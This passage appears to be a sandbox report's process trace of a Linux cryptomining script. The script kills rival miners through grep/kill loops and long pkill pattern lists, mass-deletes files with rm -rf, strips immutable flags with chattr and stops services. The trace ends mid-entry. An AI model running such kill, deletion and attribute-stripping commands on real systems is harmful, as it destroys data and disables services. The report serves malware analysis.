- /bin/grep
  grep -v aux
  2⤵
  PID:1313
- /bin/grep
  grep -v grep
  2⤵
  PID:1312
- /bin/ps
  ps aux
  2⤵
  PID:1311
- /bin/grep
  grep sync_supers
  2⤵
  PID:1319
- /bin/grep
  grep -v grep
  2⤵
  PID:1318
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1317
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1321
- /usr/bin/cut
  cut -c 9-15
  2⤵
  PID:1320
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1326
- /usr/bin/cut
  cut -c 9-15
  2⤵
  PID:1325
- /bin/grep
  grep cpuset
  2⤵
  PID:1324
- /bin/grep
  grep -v grep
  2⤵
  PID:1323
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1322
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1332
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1331
- /bin/grep
  grep "x]"
  2⤵
  PID:1330
- /bin/grep
  grep -v grep
  2⤵
  PID:1328
- /bin/grep
  grep -v aux
  2⤵
  PID:1329
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1327
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1338
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1337
- /bin/grep
  grep "sh] <"
  2⤵
  PID:1336
- /bin/grep
  grep -v aux
  2⤵
  PID:1335
- /bin/grep
  grep -v grep
  2⤵
  PID:1334
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1333
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1344
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1343
- /bin/grep
  grep " \\[]"
  2⤵
  PID:1342
- /bin/grep
  grep -v aux
  2⤵
  PID:1341
- /bin/grep
  grep -v grep
  2⤵
  PID:1340
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1339
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1349
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1348
- /bin/grep
  grep /tmp/l.sh
  2⤵
  PID:1347
- /bin/grep
  grep -v grep
  2⤵
  PID:1346
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1345
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1354
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1353
- /bin/grep
  grep /tmp/zmcat
  2⤵
  PID:1352
- /bin/grep
  grep -v grep
  2⤵
  PID:1351
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1350
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1359
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1358
- /bin/grep
  grep hahwNEdB
  2⤵
  PID:1357
- /bin/grep
  grep -v grep
  2⤵
  PID:1356
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1355
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1364
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1363
- /bin/grep
  grep CnzFVPLF
  2⤵
  PID:1362
- /bin/grep
  grep -v grep
  2⤵
  PID:1361
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1360
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1369
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1368
- /bin/grep
  grep CvKzzZLs
  2⤵
  PID:1367
- /bin/grep
  grep -v grep
  2⤵
  PID:1366
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1365
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1374
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1373
- /bin/grep
  grep /tmp/udevd
  2⤵
  PID:1372
- /bin/grep
  grep -v grep
  2⤵
  PID:1371
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1370
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1379
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1378
- /bin/grep
  grep sustse
  2⤵
  PID:1377
- /bin/grep
  grep -v grep
  2⤵
  PID:1376
- /bin/ps
  ps aux
  2⤵
  PID:1375
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1384
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1383
- /bin/grep
  grep sustse3
  2⤵
  PID:1382
- /bin/grep
  grep -v grep
  2⤵
  PID:1381
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1380
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1390
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1389
- /bin/grep
  grep wget
  2⤵
  PID:1388
- /bin/grep
  grep mr.sh
  2⤵
  PID:1387
- /bin/grep
  grep -v grep
  2⤵
  PID:1386
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1385
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1396
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1395
- /bin/grep
  grep curl
  2⤵
  PID:1394
- /bin/grep
  grep mr.sh
  2⤵
  PID:1393
- /bin/grep
  grep -v grep
  2⤵
  PID:1392
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1391
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1402
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1401
- /bin/grep
  grep wget
  2⤵
  PID:1400
- /bin/grep
  grep 2mr.sh
  2⤵
  PID:1399
- /bin/grep
  grep -v grep
  2⤵
  PID:1398
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1397
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1408
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1407
- /bin/grep
  grep curl
  2⤵
  PID:1406
- /bin/grep
  grep 2mr.sh
  2⤵
  PID:1405
- /bin/grep
  grep -v grep
  2⤵
  PID:1404
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1403
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1414
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1413
- /bin/grep
  grep wget
  2⤵
  PID:1412
- /bin/grep
  grep cr5.sh
  2⤵
  PID:1411
- /bin/grep
  grep -v grep
  2⤵
  PID:1410
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1409
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1420
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1419
- /bin/grep
  grep curl
  2⤵
  PID:1418
- /bin/grep
  grep cr5.sh
  2⤵
  PID:1417
- /bin/grep
  grep -v grep
  2⤵
  PID:1416
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1415
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1426
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1425
- /bin/grep
  grep wget
  2⤵
  PID:1424
- /bin/grep
  grep logo9.jpg
  2⤵
  PID:1423
- /bin/grep
  grep -v grep
  2⤵
  PID:1422
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1421
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1432
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1431
- /bin/grep
  grep curl
  2⤵
  PID:1430
- /bin/grep
  grep logo9.jpg
  2⤵
  PID:1429
- /bin/grep
  grep -v grep
  2⤵
  PID:1428
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1427
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1437
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1436
- /bin/grep
  grep j2.conf
  2⤵
  PID:1435
- /bin/grep
  grep -v grep
  2⤵
  PID:1434
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1433
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1443
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1442
- /bin/grep
  grep wget
  2⤵
  PID:1441
- /bin/grep
  grep luk-cpu
  2⤵
  PID:1440
- /bin/grep
  grep -v grep
  2⤵
  PID:1439
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1438
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1449
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1448
- /bin/grep
  grep curl
  2⤵
  PID:1447
- /bin/grep
  grep luk-cpu
  2⤵
  PID:1446
- /bin/grep
  grep -v grep
  2⤵
  PID:1445
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1444
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1455
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1454
- /bin/grep
  grep wget
  2⤵
  PID:1453
- /bin/grep
  grep ficov
  2⤵
  PID:1452
- /bin/grep
  grep -v grep
  2⤵
  PID:1451
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1450
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1461
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1460
- /bin/grep
  grep curl
  2⤵
  PID:1459
- /bin/grep
  grep ficov
  2⤵
  PID:1458
- /bin/grep
  grep -v grep
  2⤵
  PID:1457
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1456
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1467
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1466
- /bin/grep
  grep wget
  2⤵
  PID:1465
- /bin/grep
  grep he.sh
  2⤵
  PID:1464
- /bin/grep
  grep -v grep
  2⤵
  PID:1463
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1462
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1473
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1472
- /bin/grep
  grep curl
  2⤵
  PID:1471
- /bin/grep
  grep he.sh
  2⤵
  PID:1470
- /bin/grep
  grep -v grep
  2⤵
  PID:1469
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1468
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1479
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1478
- /bin/grep
  grep wget
  2⤵
  PID:1477
- /bin/grep
  grep miner.sh
  2⤵
  PID:1476
- /bin/grep
  grep -v grep
  2⤵
  PID:1475
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1474
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1485
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1484
- /bin/grep
  grep curl
  2⤵
  PID:1483
- /bin/grep
  grep miner.sh
  2⤵
  PID:1482
- /bin/grep
  grep -v grep
  2⤵
  PID:1481
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1480
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1491
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1490
- /bin/grep
  grep wget
  2⤵
  PID:1489
- /bin/grep
  grep nullcrew
  2⤵
  PID:1488
- /bin/grep
  grep -v grep
  2⤵
  PID:1487
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1486
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1497
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1496
- /bin/grep
  grep curl
  2⤵
  PID:1495
- /bin/grep
  grep nullcrew
  2⤵
  PID:1494
- /bin/grep
  grep -v grep
  2⤵
  PID:1493
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1492
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1502
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1501
- /bin/grep
  grep 107.174.47.156
  2⤵
  PID:1500
- /bin/grep
  grep -v grep
  2⤵
  PID:1499
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1498
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1507
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1506
- /bin/grep
  grep 83.220.169.247
  2⤵
  PID:1505
- /bin/grep
  grep -v grep
  2⤵
  PID:1504
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1503
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1512
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1511
- /bin/grep
  grep 51.38.203.146
  2⤵
  PID:1510
- /bin/grep
  grep -v grep
  2⤵
  PID:1509
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1508
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1517
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1516
- /bin/grep
  grep 144.217.45.45
  2⤵
  PID:1515
- /bin/grep
  grep -v grep
  2⤵
  PID:1514
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1513
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1522
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1521
- /bin/grep
  grep 107.174.47.181
  2⤵
  PID:1520
- /bin/grep
  grep -v grep
  2⤵
  PID:1519
- /bin/ps
  ps aux
  2⤵
  PID:1518
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1527
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1526
- /bin/grep
  grep 176.31.6.16
  2⤵
  PID:1525
- /bin/grep
  grep -v grep
  2⤵
  PID:1524
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1523
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1533
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1531
- /bin/grep
  grep "ESTABLISHED\\|SYN_SENT"
  2⤵
  PID:1530
- /bin/grep
  grep 46.243.253.15
  2⤵
  PID:1529
- /bin/sed
  sed -e "s/\\/.*//g"
  2⤵
  PID:1532
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1539
- /bin/sed
  sed -e "s/\\/.*//g"
  2⤵
  PID:1538
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1537
- /bin/grep
  grep "ESTABLISHED\\|SYN_SENT"
  2⤵
  PID:1536
- /bin/grep
  grep 176.31.6.16
  2⤵
  PID:1535
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:1541
- /usr/bin/pgrep
  pgrep -f "L2Jpbi9iYXN|xzpauectgr|slxfbkmxtd|mixtape|addnj|200.68.17.196|mwyumwdbpq.conf|honvbsasbf.conf|mqdsflm.cf|lower.sh|./ppp|cryptonight|./seervceaess|./servceaess|./servceas|./servcesa|./vsp|./jvs|./pvv|./vpp|./pces|./rspce|./haveged|./jiba|./watchbog|kacpi_svc|kswap_svc|kauditd_svc|kpsmoused_svc|kseriod_svc|kthreadd_svc|ksoftirqd_svc|kintegrityd_svc|jawa|oracle.jpg|188.209.49.54|181.214.87.241|servim|kblockd_svc|native_svc|ynn|65ccEJ7|jmxx|2Ne80nA|sysstats|systemxlv|watchbog|OIcJi1m"
  2⤵
  - Reads CPU attributes
  PID:1540
- /usr/bin/pkill
  pkill -f -e "biosetjenkins|Loopback|apaceha|httpgd|cryptonight|mixnerdx|performedl|conns|irqbalance|crypto-pool|XJnRj|mgwsl|pythno|jweri|lx26|NXLAi|BI5zj|askdljlqw|minergate|Guard.sh|ysaydh|bonns|donns|kxjd|Duck.sh|bonn.sh|conn.sh|kworker34|kw.sh|pro.sh|acpid|icb5o|nopxi|irqbalanc1|minerd|i586|gddr|mstxmr|ddg.2011|wnTKYg|deamon|disk_genius|sourplum|polkitd|nanoWatch|zigw|devtool|devtools|watchbog|sustes|xmrig|httpgd|xmrig-cpu|121.42.151.137|init12.cfg|nginxk|tmp/wc.confz|xmrig-notls|xmr-stak|suppoie|zer0day.ru|dbus-daemon--system|nullcrew|systemctI|kworkerds|init10.cfg|/wl.conf|crond64|sustse|vmlinuz|exin|apachiii|crypto|tntrecht|xr|svcupdate"
  2⤵
  - Reads runtime system information
  PID:1542
- /usr/bin/pkill
  pkill -9 -f cnrig
  2⤵
  - Reads CPU attributes
  PID:1543
- /bin/rm
  rm -rf /tmp/.ICEd-unix /dev/shm/.kerberods /usr/bin/config.json /usr/bin/exin /tmp/wc.conf /tmp/log_rot /tmp/apachiii /tmp/sustse /tmp/php /tmp/p2.conf /tmp/pprt /tmp/ppol /tmp/httpgd /tmp/javax/config.sh /tmp/javax/sshd2 /tmp/.profile /tmp/1.so /tmp/kworkerds /tmp/kworkerds3 /tmp/kworkerdssx /tmp/xd.json /tmp/syslogd /tmp/syslogdb /tmp/65ccEJ7 /tmp/jmxx /tmp/2Ne80nA /tmp/dl /tmp/ddg /tmp/systemxlv /tmp/systemctI /tmp/.abc /tmp/osw.hb /tmp/.tmpleve /tmp/.tmpnewzz /tmp/.java /tmp/.omed /tmp/.tmpc /tmp/.tmpleve /tmp/.tmpnewzz /tmp/gates.lod /tmp/conf.n /tmp/devtool /tmp/devtools /tmp/fs /tmp/.rod /tmp/.rod.tgz /tmp/.rod.tgz.1 /tmp/.rod.tgz.2 /tmp/.mer /tmp/.mer.tgz /tmp/.mer.tgz.1 /tmp/.hod /tmp/.hod.tgz /tmp/.hod.tgz.1 /tmp/84Onmce /tmp/C4iLM4L /tmp/lilpip /tmp/3lmigMo /tmp/am8jmBP /tmp/tmp.txt /tmp/baby /tmp/.lib /tmp/systemd /tmp/lib.tar.gz /tmp/baby /tmp/java /tmp/j2.conf /tmp/.mynews1234 /tmp/a3e12d /tmp/.pt /tmp/.pt.tgz /tmp/.pt.tgz.1 /tmp/go /tmp/java /tmp/j2.conf /tmp/.tmpnewasss /tmp/java /tmp/go.sh /tmp/go2.sh /tmp/khugepageds /tmp/.censusqqqqqqqqq /tmp/.kerberods /tmp/kerberods /tmp/seasame /tmp/httpgd /etc/httpgd /etc/ndt.sh /etc/is.sh /tmp/is.sh /tmp/touch /tmp/.p /tmp/runtime2.sh /tmp/runtime.sh /dev/shm/z3.sh /dev/shm/z2.sh /dev/shm/.scr
  2⤵
  - System Network Configuration Discovery
  PID:1544
- /bin/rm
  rm -rf "/etc/systemd/system/systemde.service*"
  2⤵
  PID:1545
- /bin/rm
  rm -f /etc/ld.so.preload
  2⤵
  PID:1546
- /bin/rm
  rm -f /usr/local/lib/libioset.so
  2⤵
  PID:1547
- /usr/bin/chattr
  chattr -i /etc/ld.so.preload
  2⤵
  PID:1548
- /bin/systemctl
  systemctl stop moneroocean_miner.service
  2⤵
  PID:1549
- /bin/systemctl
  systemctl stop systemde.service
  2⤵
  - Disables AppArmor
  PID:1550
- /bin/rm
  rm -f /usr/local/lib/libioset.so
  2⤵
  PID:1551
- /bin/rm
  rm -rf /tmp/watchdogs
  2⤵
  PID:1552
- /bin/rm
  rm -rf /tmp/httpgd
  2⤵
  PID:1553
- /bin/rm
  rm -rf /tmp/.ICEd-unix
  2⤵
  PID:1554
- /bin/rm
  rm -rf /etc/cron.d/tomcat
  2⤵
  PID:1555
- /bin/rm
  rm -rf /etc/rc.d/init.d/watchdogs
  2⤵
  PID:1556
- /bin/rm
  rm -rf /usr/sbin/watchdogs
  2⤵
  PID:1557
- /bin/rm
  rm -rf /tmp/httpgd
  2⤵
  PID:1558
- /bin/rm
  rm -rf /tmp/ndt.sh
  2⤵
  PID:1559
- /bin/rm
  rm -rf /tmp/nnt.sh
  2⤵
  PID:1560
- /bin/rm
  rm -rf /tmp/AppleWebKit53736
  2⤵
  PID:1561
- /bin/rm
  rm -rf /tmp/is.sh
  2⤵
  PID:1562
- /bin/rm
  rm -rf /etc/httpgd
  2⤵
  PID:1563
- /bin/rm
  rm -rf /etc/ndt.sh
  2⤵
  PID:1564
- /bin/rm
  rm -rf /etc/nnt.sh
  2⤵
  PID:1565
- /bin/rm
  rm -rf /etc/is.sh
  2⤵
  PID:1566
- /bin/rm
  rm -f /tmp/kthrotlds
  2⤵
  PID:1567
- /bin/rm
  rm -f /etc/rc.d/init.d/kthrotlds
  2⤵
  PID:1568
- /bin/rm
  rm -rf /tmp/.sysbabyuuuuu12
  2⤵
  PID:1569
- /bin/rm
  rm -rf /tmp/logo9.jpg
  2⤵
  PID:1570
- /bin/rm
  rm -rf /tmp/miner.sh
  2⤵
  PID:1571
- /bin/rm
  rm -rf /tmp/nullcrew
  2⤵
  PID:1572
- /bin/rm
  rm -rf /tmp/proc
  2⤵
  PID:1573
- /bin/rm
  rm -rf /tmp/2.sh
  2⤵
  PID:1574
- /bin/rm
  rm /opt/atlassian/confluence/bin/1.sh
  2⤵
  PID:1575
- /bin/rm
  rm /opt/atlassian/confluence/bin/1.sh.1
  2⤵
  PID:1576
- /bin/rm
  rm /opt/atlassian/confluence/bin/1.sh.2
  2⤵
  PID:1577
- /bin/rm
  rm /opt/atlassian/confluence/bin/1.sh.3
  2⤵
  PID:1578
- /bin/rm
  rm /opt/atlassian/confluence/bin/3.sh
  2⤵
  PID:1579
- /bin/rm
  rm /opt/atlassian/confluence/bin/3.sh.1
  2⤵
  PID:1580
- /bin/rm
  rm /opt/atlassian/confluence/bin/3.sh.2
  2⤵
  PID:1581
- /bin/rm
  rm /opt/atlassian/confluence/bin/3.sh.3
  2⤵
  PID:1582
- /bin/rm
  rm -rf /var/tmp/wc.conf /var/tmp/f41 /var/tmp/2.sh /var/tmp/config.json /var/tmp/xmrig /var/tmp/1.so /var/tmp/kworkerds3 /var/tmp/kworkerdssx /var/tmp/kworkerds
  2⤵
  PID:1583
- /bin/rm
  rm -rf /var/tmp/sustse3
  2⤵
  PID:1584
- /bin/rm
  rm -rf /var/tmp/sustse
  2⤵
  PID:1585
- /bin/rm
  rm -rf /var/tmp/moneroocean/
  2⤵
  PID:1586
- /bin/rm
  rm -rf /var/tmp/devtool
  2⤵
  PID:1587
- /bin/rm
  rm -rf /var/tmp/devtools
  2⤵
  PID:1588
- /bin/rm
  rm -rf /var/tmp/play.sh
  2⤵
  PID:1589
- /bin/rm
  rm -rf /var/tmp/systemctI
  2⤵
  PID:1590
- /bin/rm
  rm -rf /var/tmp/.java
  2⤵
  PID:1591
- /bin/rm
  rm -rf /var/tmp/1.sh
  2⤵
  PID:1592
- /bin/rm
  rm -rf /var/tmp/conf.n
  2⤵
  PID:1593
- /bin/rm
  rm -r /var/tmp/lib
  2⤵
  PID:1594
- /bin/rm
  rm -r /var/tmp/.lib
  2⤵
  PID:1595
- /bin/rm
  rm -rf /opt/systemd-service.sh
  2⤵
  PID:1596
- /bin/rm
  rm -rf /opt/.systemd-service.sh
  2⤵
  PID:1597
- /bin/rm
  rm -rf /root/.systemd-service.sh
  2⤵
  PID:1598
- /usr/bin/chattr
  chattr -R -ia "/usr/bin/TeamTNT/*"
  2⤵
  PID:1599
- /usr/bin/chattr
  chattr -R -ia "/usr/bin/watchdogd*"
  2⤵
  PID:1600
- /bin/rm
  rm -rf "/usr/bin/watchdogd*"
  2⤵
  PID:1601
- /usr/sbin/service
  service crypto stop
  2⤵
  PID:1602
- - /usr/bin/basename
    basename /usr/sbin/service
    3⤵
    PID:1603
- - /usr/bin/basename
    basename /usr/sbin/service
    3⤵
    PID:1604
- - /bin/systemctl
    systemctl --quiet is-active multi-user.target
    3⤵
    PID:1605
- - /bin/sed
    sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
    3⤵
    PID:1608
- - /bin/systemctl
    systemctl list-unit-files --full "--type=socket"
    3⤵
    - Disables AppArmor
    - Enumerates kernel/hardware configuration
    PID:1607
- - /bin/systemctl
    systemctl -p Triggers show dbus.socket
    3⤵
    - Disables AppArmor
    - Enumerates kernel/hardware configuration
    PID:1609
- - /bin/systemctl
    systemctl -p Triggers show ssh.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:1610
- - /bin/systemctl
    systemctl -p Triggers show syslog.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:1611
- - /bin/systemctl
    systemctl -p Triggers show systemd-fsckd.socket
    3⤵
    PID:1612
- - /bin/systemctl
    systemctl -p Triggers show systemd-initctl.socket
    3⤵
    - Attempts to change immutable files
    - Disables AppArmor
    PID:1613
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald-audit.socket
    3⤵
    PID:1614
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald-dev-log.socket
    3⤵
    - Disables AppArmor
    - Enumerates kernel/hardware configuration
    PID:1615
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald.socket
    3⤵
    - Disables AppArmor
    - Enumerates kernel/hardware configuration
    PID:1616
- - /bin/systemctl
    systemctl -p Triggers show systemd-networkd.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:1617
- - /bin/systemctl
    systemctl -p Triggers show systemd-rfkill.socket
    3⤵
    - Disables AppArmor
    - Enumerates kernel/hardware configuration
    PID:1618
- - /bin/systemctl
    systemctl -p Triggers show systemd-udevd-control.socket
    3⤵
    - Disables AppArmor
    PID:1619
- - /bin/systemctl
    systemctl -p Triggers show systemd-udevd-kernel.socket
    3⤵
    - Disables AppArmor
    - Enumerates kernel/hardware configuration
    PID:1620
- /usr/local/sbin/systemctl
  systemctl stop crypto.service
  2⤵
  - Disables AppArmor
  PID:1602
- /usr/local/bin/systemctl
  systemctl stop crypto.service
  2⤵
  PID:1602
- /usr/sbin/systemctl
  systemctl stop crypto.service
  2⤵
  PID:1602
- /usr/bin/systemctl
  systemctl stop crypto.service
  2⤵
  - Disables AppArmor
  PID:1602
- /sbin/systemctl
  systemctl stop crypto.service
  2⤵
  PID:1602
- /bin/systemctl
  systemctl stop crypto.service
  2⤵
  - Enumerates kernel/hardware configuration
  PID:1602
- /bin/systemctl
  systemctl stop crypto.service
  2⤵
  - Enumerates kernel/hardware configuration
  PID:1621
- /bin/systemctl
  systemctl stop watchdogd
  2⤵
  - Disables AppArmor
  - Enumerates kernel/hardware configuration
  PID:1622
- /usr/sbin/service
  service watchdogd stop
  2⤵
  PID:1623
- - /usr/bin/basename
    basename /usr/sbin/service
    3⤵
    PID:1624
- - /usr/bin/basename
    basename /usr/sbin/service
    3⤵
    PID:1625
- - /bin/systemctl
    systemctl --quiet is-active multi-user.target
    3⤵
    PID:1626
- - /bin/sed
    sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
    3⤵
    PID:1629
- - /bin/systemctl
    systemctl list-unit-files --full "--type=socket"
    3⤵
    - Disables AppArmor
    - Enumerates kernel/hardware configuration
    PID:1628
- - /bin/systemctl
    systemctl -p Triggers show dbus.socket
    3⤵
    - Disables AppArmor
    PID:1630
- - /bin/systemctl
    systemctl -p Triggers show ssh.socket
    3⤵
    - Disables AppArmor
    - Enumerates kernel/hardware configuration
    PID:1631
- - /bin/systemctl
    systemctl -p Triggers show syslog.socket
    3⤵
    - Disables AppArmor
    - Enumerates kernel/hardware configuration
    PID:1632
- - /bin/systemctl
    systemctl -p Triggers show systemd-fsckd.socket
    3⤵
    - Disables AppArmor
    - Enumerates kernel/hardware configuration
    PID:1633
- - /bin/systemctl
    systemctl -p Triggers show systemd-initctl.socket
    3⤵
    - Attempts to change immutable files
    - Disables AppArmor
    - Enumerates kernel/hardware configuration
    PID:1634
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald-audit.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:1635
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald-dev-log.socket
    3⤵
    - Disables AppArmor
    PID:1636
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald.socket
    3⤵
    - Disables AppArmor
    PID:1637
- - /bin/systemctl
    systemctl -p Triggers show systemd-networkd.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:1638
- - /bin/systemctl
